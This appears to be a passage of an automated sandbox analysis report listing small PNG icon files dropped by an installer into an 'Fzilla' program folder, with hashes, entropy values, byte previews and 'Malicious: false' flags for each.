Preview:	.PNG........IHDR...............h6....tRNS......u..7....IDATx.b.o=I.b......>.@..;..X....45.......z.?..L.}.=G..^o..au..Z....,.Z.......`.R..Z.2J.~..0.1..\|]..wq....!......n~.\|.`#c.0...T.s].\_.4-e.\....V..q.y\[+].[......R&.4...>mm=ml.KH...N.N.......`...H(..O.....)a.:.F...(..S+.,.}.......^.&..o..P.3A..'?._Ff.}j..(..R......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\compare.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	439
Entropy (8bit):	7.393238619174529
Encrypted:	false
SSDEEP:	12:6v/78xi86wjdtcw9ogjaBqt7iXwZEJAFILuU6jRElN1N:NxRdtcSoglwwZEJyU+ilN1N
MD5:	93A6FEEB5D70E5C349E8618C8AA90E4E
SHA1:	29470D41C7AEB3BDCFA7C66862FEB1380FE9677A
SHA-256:	B7F788693DC5EB63A5DDAE21C114EE35E9E8A4629341AC5ACA1C59E6F1892AF1
SHA-512:	CE743D30E9B7F3DA2748B63E083F9BCFA2ADD8A7976432178A8C40B06872D5A2000C98E10D1DC2D32F1A3D4FEE6F81A1FBB2437DA35C0F6155B30774F1BEBE86
Malicious:	false
Preview:	.PNG........IHDR................a...~IDATx....G.q..'....... ..N03c..YY..F.O......a.n..l.....FP.n.=.s....yx........p.gR.+....aX...l.:..T6......H..g...C......5MC<.G...f..y.}...{...4.6.P(.$...R.I.PUu. ....Gx{..Su..B!.<.H$b..Nm2R...........b.8=..eY.%...}F.v!?...@Z.(.Z..6....E..X..d..$y.. ..-.^.\^%.`.....f../.i?.t.b[8p...:h.Ro.ZF4.5...p..u(!sUA.R....6w.._./..`..z..2.t.K..(am..g~.=`.S>...PbA.e....W......k.c........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\disconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.190997209876537
Encrypted:	false
SSDEEP:	6:6v/lhPWjWlso4SdQWv6tDvng6wtWN3Y515FjAhpLLNzAp4EEI+sI17ap:6v/7flJpdQWv6t8kNo5ApL5spxEI0Fw
MD5:	A621D469319033B95EFE33E25B1295A7
SHA1:	C8E209104FFBCA00677ED4D6A5E86D2E967D6917
SHA-256:	8D2D5DD229B5B47F0C48C4128F1A715C1A0BD357C7DBBD65F338A2A8D681C327
SHA-512:	06E2A6D17015497D6CB580D1064CD28008AE06D36447E5CC9DAC2850E065E883BAC0CC98C083A078E04D88263E823E7A69B634017A6476AE26A5B8735CDE68F9
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx....CEQ......l.m.vM..)....=.....;...1...`.3...{...G._.S.&.....'..Z8F..>.v.`...J.........{..:.3.(E.?.w...g.D.....zvlB.t.je}.....b...$.......7...d.._.....3....x#...C......>...2.$...YA.r5.....z..p.......A3....a.!......;.t}.(..3}..g%..?F....!...$..j"@...>.........#RH...\|....[....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\download.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	315
Entropy (8bit):	7.053855527232501
Encrypted:	false
SSDEEP:	6:6v/lhPWHDx7Hvcm4aJICvUA4VHvpZacUJ2BKE4leMpjTihXCeVp:6v/7YDxzcmxICvz4VHhk8BKE4leMN2hn
MD5:	83FE2C7E0C844CC65CB233A4ACF48E42
SHA1:	48BC9B4BEC5C63394E6EC29F284E0C3D22599DE1
SHA-256:	8F49F72F69E489BC19429141CFFE2F4DD55A2E249F87874377B662E6303D375D
SHA-512:	61D7B3F90351BC780FCB3D896DF4AEC6EF102226F93AF78E5D617AF3F7D78589BB121A8766EAC416898947E68E6A0A45663BC18DFE652FAC6A30995E4624DA4E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.I.?..o..b.$5}..".5,}k..C.....,13..Ab0.........(.WJ6n.z>.....S...1..FX....f.R.q..n.....K6..OZ..?g.....&pW`..$..Q....J...).OZ..?i....5..K....M...a{h...H.p....E.......\......=..8........j...(......@./.OF.`,%...F.......#.?..%.x.2..NP.E.6J.C...0.".............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\downloadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	418
Entropy (8bit):	7.285508453296903
Encrypted:	false
SSDEEP:	12:6v/7zHP2KHn2Nfh7ShEBLEIr6ky0AXbPB2G/5:HKHSVXVZrA0ilB
MD5:	5FD0886A61D5B2141ECA5630F5617C56
SHA1:	DAA0D7E47EC62CCEFD95EC9570BA632BC2B63877
SHA-256:	4D65E085E8F3E4E287848478A0AEC2AEB2FCFA657C54967726D95DD9DC184641
SHA-512:	EB2195D3520289EFB4B56A2FBDBBA777806C8FBA46C3403F78A0B7EFE596587987BFD4E66789D165FD7C2B10F98739EEB0A4F1C0256999EA4F9A2979D8D7785C
Malicious:	false
Preview:	.PNG........IHDR................a...iIDATx...... .E..{...)*.....$.........gx..O}.{.H)AX.N.c..58. \|$.sb.1.........K..!.Xk..../4.=b...C..C..9.?.g.43..5...v..5%....=..?B..)....$.....3b....).(o...............l..5...'.m..................{W./...,......O......d.....K...-...dgN^.74.jr.P......f ......-.a.......R>.......R0}...q=+..w,.:w.XST..).9..`'.....m+.....u...%..lq-...R;%.f.).....>y...4L.d....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\file.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	316
Entropy (8bit):	6.917017566145369
Encrypted:	false
SSDEEP:	6:6v/lhPmNpocbf5uKz0D7rxxbOAUm2+3bcjaRvfLGtTE26podp:6v/7uNpZbfIs0XrxcVaRvfLGGsz
MD5:	A6ED3AAC6C8F8496DDB28B97EA88044A
SHA1:	96A2CAB75854F10D342DFE402232C2338C3F12B6
SHA-256:	E80E754EC1E92B8E65A13AEA3A07DA8556636C97614944B16ED7317B137E4D37
SHA-512:	A98D15CD20B0D6E3C2494172A096FD347AB33332627F34FF4FAE6A539CA70DAB15B32A7A4ACA798E1F8F2878E5B58BB09127EF1A0D6552439E736E948BF47F64
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7....IDATx....v.Q...?.......UN.a.K.....B.S....W....<....s}~.W5l....C.N.......k{..&.i}.Jk..n..v0.U.?..B....6.Vu..om..8..a^......P..8../..\Zv7..I..@R..8\|....t...3+..l7.?-.N.:...t.T..Nq..j.....S.E;Lt7...S.Z4.F.;Q.$.;.......N..d.AO....#AA..x.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\filter.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	7.041857638383337
Encrypted:	false
SSDEEP:	6:6v/lhPWMIBVJkYd9tCvjlaleb77FMORIhRaGybnoxjCmjva0hazICQup:6v/78nVkjlal877FMiIhRDybQCEvSzIy
MD5:	2D4888761F80A01D16A11D2551171731
SHA1:	24F39D187431BBAD880E1D09C12AD34D182F3C05
SHA-256:	F613F0A904B7720813DB8B4C130D2E0ACD7B64D9FD0B4D6F2D36CB96839B69E8
SHA-512:	826D90673BB5B7A0AA159848BA75164046A8F8C96C75CB4C5769AE2D38905DC66D81356104E7914A6E1C6504A8D03021150493A1B880457BCDB2A42D5E5C1C1D
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c........s c....^... 6:f@..5s..%.#c........10..^...%-......HXp..F..4...g....0.e.......`E.........I...7h.@.$..(K......$..L...b....$..B.y....@. ...2...s'.f.0..v.g......\|..\|!:.,...K:..g.....1.%.n.C._q.._...V.a.U~ c.....jD...&....?2...H....7.;.t..d.....zy..>}...YG..V....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\find.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	426
Entropy (8bit):	7.30710414973532
Encrypted:	false
SSDEEP:	12:6v/77dd2VnaZZH8Awt24/nFlOnzoiFomall7:uddUNW3F2/7
MD5:	9E25F52FFB35D68F867EE5F3C534F2FE
SHA1:	B76D5C4DC0DEF4A49D851765CC72318D53E599B5
SHA-256:	504EF10274474F61314ACB86A21EDBF6EC6D7C7BD5EB18ABE380A472D3CC5E58
SHA-512:	9EF9E4B51C96C576601E20593B5242F6541A6D722C8168340214D8F4F246F92FE224AD9ED918AB9121E955D54765BDA4F945962AA26CA6ACA9F4668C35089421
Malicious:	false
Preview:	.PNG........IHDR................a...qIDATx.c.....e...k........D....5440..9))iGaQ....[U.W..o.\|....urr.&...mn-(,~.....w>.......n$O........%.x....:..2.>Hs..G.;.?Y......'.6..y......7.&,{U....OV/8.y.......M..p..&.].P.r+.... ...y......O...4....`....\|M...i....@..:.tY...G..............'.6]J..^.x......3.TTT....;;;.111........(L@4...\|.......5.366...sbS.K3....J....p.....P...9HN.@.O....D.a.0...A..6...X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\folder.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	485
Entropy (8bit):	7.419323000384599
Encrypted:	false
SSDEEP:	12:6v/7esVbhsHh534/AAv9go4eN1jiukbvRFdO13FJPLoVHrHogFnxnT3z:2xhKhp4/AAVseLjhkbXQ3LIHfnT3z
MD5:	2D79689C872BC20DFD4B0538860DEAB9
SHA1:	67E50B998F63713607997BED781B12A60B673061
SHA-256:	FE57D88CE901EE23D92D6D9164F0A6718B9769163301B539F29DEA63268247B0
SHA-512:	29D4FFD2041EF22ECA50AFA4256AA4CC2B5E4ADF0E73E8C47018F685459FC49D549FE08738810471FE815BC7814D4E325977006279C663671F79F5BDD055D86C
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...3..A.@.3...hbu..:..Ti..4.m;U.....;s.b.1.U"....e..V.....(.ep.!....X..K.Au.E}........m:...c...f..5S.....D.ft1M.j.6...3.=\|]v..?.s.w.qYY......D.....r{<...n.s..T...X..g.....GS.....E\|J...8oq....m..}P.m\..t.....6.M.(N-....0"1l;D,.X,.1..../.... .........VF4F..N..F^c....H.......CQ.........m....=K\.!.@.(N....(p..x}%l?."....gv.!..aG.......`. ..K..xr..).~..G...<G... ..n.zaU...*(....).D....+..F9...l.=z..o.s#.B...N:h.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\folderback.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	173
Entropy (8bit):	5.976984224745197
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSAp9FjGm9GljQwyUWnY9s52GZnup:6v/lhPmNpokjG2w0Y9s52Qup
MD5:	D5372147FC21AD2EDFA1667101CD8C5D
SHA1:	3CCEA50237C3B395B2371614C7F1D84EF1345663
SHA-256:	A37885C0F5116A56D8C0FA7F74F07ED8171A4F027012DA158E5D82D465F2698A
SHA-512:	968682550AD4A9990F89743C308EB923A7B06F905D52B7D207E0420E91C63DF9B6DFCDF6F12DB18B9A7A01127099747932F5CF1172DF629876F3093101346264
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7...bIDATx.c.o=Ihhh.N...S5..h..m.Q.=..@C....f..mh.k...CF85.....s.[sAd.Ps^C+......J..h.......!-......eZ......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	411
Entropy (8bit):	7.189269682483944
Encrypted:	false
SSDEEP:	12:6v/7rxOtrN6eHieVoor9mEJHGru0gBRiuH/N:6krUQLoor9mEKgB5H1
MD5:	B248E0142E589D10B1FB9A282464B4D9
SHA1:	82309F4D54284D0FACC41F93E4AB0438349705FB
SHA-256:	3671A40156A7D5D396A40001DDE65CAAA924119115229549487EAC626AA31DB1
SHA-512:	B4714912966A434A1E7607EBA3BEBA62786F2F65454A36E166B23A204B152D1F8559DFA05DBC0FCDC90D2725C2EC86644BD295780D4322B3D0E5D2AC7B301026
Malicious:	false
Preview:	.PNG........IHDR................a...bIDATx.b...?E...2.0`.....&..G.W&.$d......TM.....Z....._.W...`............p....... 9lx.$Ov........_......y....].?<....i#....su.6....3..u..QfH.x.E..?H..(.YN....n....8...........},...pA.......C..<}..d..i.(..3.....v.....t.G..2.R.....5M...o].]s.5..6.y.G..e.LM.;...[{Z.d\|O....QQV..z./K.5@.U.....K.Q...B]?.}..A...@QB.....!.V.2....B......R.K......-..C.'....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\folderup.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	152
Entropy (8bit):	5.728713376101426
Encrypted:	false
SSDEEP:	3:yionv//thPl9vhSFZQOVbncgpgh8taQhl/9A1x01xvEqJFHhjg1p:6v/lhPIFZQOxHgShDex0bEuhqp
MD5:	6ECDB906CA7863F3A8FB3BE9C4D960B7
SHA1:	86305E819E93D03421FC42CFA041F5A333A7D644
SHA-256:	FBEE54092BFA8C72A0BC1532871496F64C8FE640694E6E7354A64539D205BEA2
SHA-512:	AF8F7B062C149EACFC31D1C3C5EE7FA89D1709B70EE52DAED0EF54F5FEE6A2FAF41CA45F80BCB28E37D7E4C20B431749EA76612F0B1734CC502B4C76AD46CD43
Malicious:	false
Preview:	.PNG........IHDR................R....PLTE...Sfm.....n..v..n..o..p..eO.K....tRNS.@..f...+IDATx.c....4.".!.*...t..J%2.f..B.ie.Pm.....(U.;...+....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\help.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	130
Entropy (8bit):	5.809885167923778
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lNyxdkiFKNqcb1IDth/mrilttuDZkbb0mPxeVp:6v/lhP9+kiFj+1o/dKSQmpOp
MD5:	4D548B980D125421C96220890B963053
SHA1:	9B297F860972BAA1D6F85F34A02AC3E03ED278D1
SHA-256:	1256AB2DCA022092AAA9CBFEDFC35944492614B971EA9D018A994F20F5FF5FAB
SHA-512:	3C6A34FEFDC8332A6512D894573295A0582F901BAC18E1548B7B2A658DC8770481CBCC02E1DF1C4C19C03C46881FCEFD7F6E5E9E9FDFCFE479D47B3FEFD16E2D
Malicious:	false
Preview:	.PNG........IHDR................a...IIDATx.c......?......H8..I.v..H#...B.. ..O,.)&...h....@..... .@4...A....j.{.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-04ETI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	509
Entropy (8bit):	7.401768858002121
Encrypted:	false
SSDEEP:	12:6v/7ctd6LhPNvBcd+pNm80mnhwofPXf8NcVEnhzk7DKB1:ULed6N30ehwIkNcqRqKB1
MD5:	39ED5FA30B56A0AEBB0A0EDC3609F7A8
SHA1:	AD45E2AB1E410EB4A0F9B5733B93772589289A80
SHA-256:	F77E5F30AC9CACD3C181706F85D7613B10757A80CDB296BC18B8583A0923F891
SHA-512:	892BED361A39A019C5677962D4B2745CCE90B980FBEBCCAB8E67F9EC63A8664BB05087ECE060874811A0C736453FCC99EA494E93E7367C24881E7984BDB6B1B6
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.."..#c....?...-....Q..Z....gN.?\|......c3.n.H../X....p.[...4`.Z..,...m..`...........l?\|...L.(..F.d.v.9...P._R .U...... 9f.1..........3..............n..(....F(...."..x.U.B....Z.....`~..GC...L.f\.H@....S..GU..t2g.b.....s;.y...)....Q`..'z...5b....'_.[~.U...z...5b..........d.e.V...3.\|.)6*.qL;.U.(&bR...q..[@..NJ..g...V.......n..I....=...........igR:.1P.M...Q .@.Z7....1\..c....U.yaZ....~mV..M.._.j...I.tc ..m.5..}.l.K.6.z..Z....?4......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-05ESJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	315
Entropy (8bit):	7.053855527232501
Encrypted:	false
SSDEEP:	6:6v/lhPWHDx7Hvcm4aJICvUA4VHvpZacUJ2BKE4leMpjTihXCeVp:6v/7YDxzcmxICvz4VHhk8BKE4leMN2hn
MD5:	83FE2C7E0C844CC65CB233A4ACF48E42
SHA1:	48BC9B4BEC5C63394E6EC29F284E0C3D22599DE1
SHA-256:	8F49F72F69E489BC19429141CFFE2F4DD55A2E249F87874377B662E6303D375D
SHA-512:	61D7B3F90351BC780FCB3D896DF4AEC6EF102226F93AF78E5D617AF3F7D78589BB121A8766EAC416898947E68E6A0A45663BC18DFE652FAC6A30995E4624DA4E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.I.?..o..b.$5}..".5,}k..C.....,13..Ab0.........(.WJ6n.z>.....S...1..FX....f.R.q..n.....K6..OZ..?g.....&pW`..$..Q....J...).OZ..?i....5..K....M...a{h...H.p....E.......\......=..8........j...(......@./.OF.`,%...F.......#.?..%.x.2..NP.E.6J.C...0.".............IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-0ODV7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	165
Entropy (8bit):	5.973230255679673
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtt+NTlrRSARBx7jtRi+LeSLJcx4UC/Vn1g0ftYzYgRPrk/lkup:6v/lhPmNpocB5imeSLJA4UC/lq0fS0UC
MD5:	00AF3E61EE2B3FA856AD1B3FAFF8FF8B
SHA1:	35745115917277BA5429707ED830BB45519AD788
SHA-256:	8B58B62E6465CAB168A8F473A888D09C180EE6E54EFA521D3C022085F65D8923
SHA-512:	B37C4B8692A03DA39DD1C494808DE63DDEA6B0B00EFF8640735D757480170DE1B5BA85E17F5BC3F393CD9FF9E912EBBD40FACC4EDA50FC9A8F120DCBC46CF3A5
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7...ZIDATx.c.o=I..........L.S.>.l...q......j..C.i.H.N..k...h...\68.."..+w.....X.@.a......h.Z..(.A.o......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-1H457.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	316
Entropy (8bit):	6.917017566145369
Encrypted:	false
SSDEEP:	6:6v/lhPmNpocbf5uKz0D7rxxbOAUm2+3bcjaRvfLGtTE26podp:6v/7uNpZbfIs0XrxcVaRvfLGGsz
MD5:	A6ED3AAC6C8F8496DDB28B97EA88044A
SHA1:	96A2CAB75854F10D342DFE402232C2338C3F12B6
SHA-256:	E80E754EC1E92B8E65A13AEA3A07DA8556636C97614944B16ED7317B137E4D37
SHA-512:	A98D15CD20B0D6E3C2494172A096FD347AB33332627F34FF4FAE6A539CA70DAB15B32A7A4ACA798E1F8F2878E5B58BB09127EF1A0D6552439E736E948BF47F64
Malicious:	false
Preview:	.PNG........IHDR...............h6....tRNS......u..7....IDATx....v.Q...?.......UN.a.K.....B.S....W....<....s}~.W5l....C.N.......k{..&.i}.Jk..n..v0.U.?..B....6.Vu..om..8..a^......P..8../..\Zv7..I..@R..8\|....t...3+..l7.?-.N.:...t.T..Nq..j.....S.E;Lt7...S.Z4.F.;Q.$.;.......N..d.AO....#AA..x.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-1K824.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	290
Entropy (8bit):	6.825774629495782
Encrypted:	false
SSDEEP:	6:6v/lhPfIXxUVlT6ieX/Yh0I/7UtJSVQK8sL60+Vu/XhCx/M+j92MZXUOdVF6Yu5p:6v/7exULT6ieX/Yh0RtbKTl+Vu/hCtMT
MD5:	321BAC4AF0CE6A899C144C0EC774816B
SHA1:	C57CB3F149F39FCF310027A2A2ACB5F052B63EE4
SHA-256:	AA4767817BFB63E9D8431E28DBFC95B3055F4239BA1805084C31380AE6289343
SHA-512:	E0C9BCC0B9DE15DFA5C926B05D83860785C1E66C20301C0761FF87221D23AE5451D3FF9629D14571DDD2DD12E0C8393BF0B4F97A2D7060C477ADF4853AEDAE97
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...rPLTE...xxx....Q..................................~..{..x..q..j..^..~..r..i..c..]..Y..U..O..{..n..h..d..b..`..I{....tRNS.@..f...^IDATx...A...........[...n,..d2....;.B.ZL...C....8...Y.+....I.kK.....[..S..h.r...4.........O......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-32D81.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	426
Entropy (8bit):	7.30710414973532
Encrypted:	false
SSDEEP:	12:6v/77dd2VnaZZH8Awt24/nFlOnzoiFomall7:uddUNW3F2/7
MD5:	9E25F52FFB35D68F867EE5F3C534F2FE
SHA1:	B76D5C4DC0DEF4A49D851765CC72318D53E599B5
SHA-256:	504EF10274474F61314ACB86A21EDBF6EC6D7C7BD5EB18ABE380A472D3CC5E58
SHA-512:	9EF9E4B51C96C576601E20593B5242F6541A6D722C8168340214D8F4F246F92FE224AD9ED918AB9121E955D54765BDA4F945962AA26CA6ACA9F4668C35089421
Malicious:	false
Preview:	.PNG........IHDR................a...qIDATx.c.....e...k........D....5440..9))iGaQ....[U.W..o.\|....urr.&...mn-(,~.....w>.......n$O........%.x....:..2.>Hs..G.;.?Y......'.6..y......7.&,{U....OV/8.y.......M..p..&.].P.r+.... ...y......O...4....`....\|M...i....@..:.tY...G..............'.6]J..^.x......3.TTT....;;;.111........(L@4...\|.......5.366...sbS.K3....J....p.....P...9HN.@.O....D.a.0...A..6...X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-35FR2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	301
Entropy (8bit):	6.880532369203427
Encrypted:	false
SSDEEP:	6:6v/lhPfbjSjargTfhr81BoOL7kwVObZETcrtgFNyAf6qVFoGYbp:6v/7Hqjad1u0JTcRgFrFQ
MD5:	A1C73D5A053CB0DE1E50563C9FCD30D3
SHA1:	58D73C51BBCBC15EFFD450F5DC1B5CED73D15109
SHA-256:	A7DCF0626F73A1FAABD673DD740E26E0DA5A6B50A7DF338F8E789CBA58743099
SHA-512:	2622015EB07CB91785AEB9B64A367B3870A7B8BE5F6AC79452B99FE1A9620ECD1E9063B859D79B693F334B6CDEDE0C6FB47B97DBCDA9BA86815B1896372B41A5
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...D.f. >K.J^.....(.....q3P..(.y./.w....s.....`1q>.?.5....{......`....x.',..HZ........#f.....7L#L...y......>...........M...F.p..7@.........o.!.....A4........kjj>aaa...j...4nP..4...5'''.KLL..d..A...a....Pf..a@zz......`... ..5.......L......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-3DF9Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	331
Entropy (8bit):	7.041857638383337
Encrypted:	false
SSDEEP:	6:6v/lhPWMIBVJkYd9tCvjlaleb77FMORIhRaGybnoxjCmjva0hazICQup:6v/78nVkjlal877FMiIhRDybQCEvSzIy
MD5:	2D4888761F80A01D16A11D2551171731
SHA1:	24F39D187431BBAD880E1D09C12AD34D182F3C05
SHA-256:	F613F0A904B7720813DB8B4C130D2E0ACD7B64D9FD0B4D6F2D36CB96839B69E8
SHA-512:	826D90673BB5B7A0AA159848BA75164046A8F8C96C75CB4C5769AE2D38905DC66D81356104E7914A6E1C6504A8D03021150493A1B880457BCDB2A42D5E5C1C1D
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c........s c....^... 6:f@..5s..%.#c........10..^...%-......HXp..F..4...g....0.e.......`E.........I...7h.@.$..(K......$..L...b....$..B.y....@. ...2...s'.f.0..v.g......\|..\|!:.,...K:..g.....1.%.n.C._q.._...V.a.U~ c.....jD...&....?2...H....7.;.t..d.....zy..>}...YG..V....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-3JPUA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	298
Entropy (8bit):	7.0096573424619395
Encrypted:	false
SSDEEP:	6:6v/lhPfRQzKHa2iCGEALO+Pym0ry2tXhR0cu+CvBmd/VNNm3lMS0p:6v/7azKHa2iCG1LO1ySXhyUWKQ3WS2
MD5:	7145960BCA9C6FADE0613C66A3B936B5
SHA1:	8BAC1ED1D6930D0AA5B20FB72B72831A1987F815
SHA-256:	22E70C98254032BC9533FF40D2F818EFDF9D7790895F27FF8BD14FF4223ED534
SHA-512:	CFE45C72604DC90DBE8BF3335B8131694862C461A3F7F1330C494CCE2A2E00168FAD49E0D7A91A54964C0DA8C94C39F421ECF9209FD01D771C7E7455C71487A3
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...{PLTE..................M....]...d..u........F.....v......{......P..O..O..S.....s..Y.JY.L......].k..........................j....tRNS.@..f...]IDATx...1..@...y..o....,.....K.).O..'..1.6CI.^.<.iZ.X<g7.\.'..9.jf.0+.Wo....#.h-.c;.#.../o.,.Ip.V.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-4G8HU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	361
Entropy (8bit):	7.098661580738674
Encrypted:	false
SSDEEP:	6:6v/lhPfYjeqy5BQ8qA+cf+Nc52u1qhHohZHk+I1yhZ3Q96Py56aFUcvy/bp:6v/7p5BQ8V+cccwuvhRk/shsx6aFs1
MD5:	A2DBD027AD3E7BFB8A1D362BA6F14A29
SHA1:	00262B9E428815BA409BBE96A8B01A614C11ED44
SHA-256:	BB98173E1D739761CC52CFC654811340F943631888ECD6E3D6F67966F2868FE2
SHA-512:	30B476C9F46313CBAEC57A6B2096163242E00596447486F944C06E871D440D85D9FC7D6BDC4904772B30F85F0A379E704B0AF72CCBF2A1EA7526F9A227EC66CB
Malicious:	false
Preview:	.PNG........IHDR.............(-.S....PLTE...}}}ttt........ZM.............r\|...Q..Zd.......z..Uu..........\S}.Ov.Nu.Lw.....y..P..]..^}.N..T..Y......_....Q..[..Qx.Gm.A\.,........\|.JN..F......{..R.7o?....tRNS.@..f...uIDATx.]....Q.D...~.m..i1....Ob.D..<. .. I...ds...b.,*..Z....l.E....C....o...:...:iM......r.you........Og...F}.W....7.j.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\blukis\16x16\is-9NUO4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.940487392659974
Encrypted:	false
